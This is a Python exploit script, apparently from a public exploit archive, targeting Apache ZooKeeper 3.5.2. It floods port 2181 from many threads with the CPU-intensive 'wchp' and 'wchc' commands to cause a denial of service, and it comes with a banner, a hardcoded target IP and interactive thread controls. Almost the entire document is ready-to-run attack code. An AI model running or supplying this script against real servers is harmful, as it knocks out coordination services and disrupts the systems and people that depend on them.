#!/usr/bin/python    # Exploit Title: Zookeeper Client Denial Of Service (Port 2181) # Date: 2/7/2017 # Exploit Author: Brandon Dennis # Email: bdennis@mail.hodges.edu # Software Link: http://zookeeper.apache.org/releases.html#download # Zookeeper Version: 3.5.2 # Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86 # Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client.  #   This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic.  #   The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper. #   This should effect Linux x86 & x64 as well          import time import os import threading import sys import socket    numOfThreads = 1exitStr = "n"stop_threads = Falsethreads = [] ipAddress = "192.168.1.5" #Change this port = 2181   def sendCommand(ipAddress, port):     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.connect((ipAddress, port))         s.send("wchp\r".encode("utf-8"))         s.recv(1024)         s.send("wchc\r".encode("utf-8"))         s.close()     except:         pass          def runCMD(id, stop, ipAddress, port):     while True:         sendCommand(ipAddress, port)         if stop():             break    return       def welcomeBanner():     banner = """ _______   __  _____               _                |___  | | / / /  __ \             | |                  / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __    / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__| ./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |    \_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|                                                                           By: Brandon Dennis           Email: bdennis@mail.hodges.edu                  """    print(banner)           welcomeBanner() numOfThreads = int(input("How many threads do you want to use: ")) print ("Startin Up Threads...")  for i in range(numOfThreads):     t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))     threads.append(t)     t.start() print("Threads are now started...")           while exitStr != "y":     inpt = input("Do you wish to stop threads(y): ")            if inpt == "y":         exitStr = "y"   print("\nStopping Threads...") stop_threads = True    for thread in threads:     thread.join()            print("Threads are now stopped...") sys.exit(0);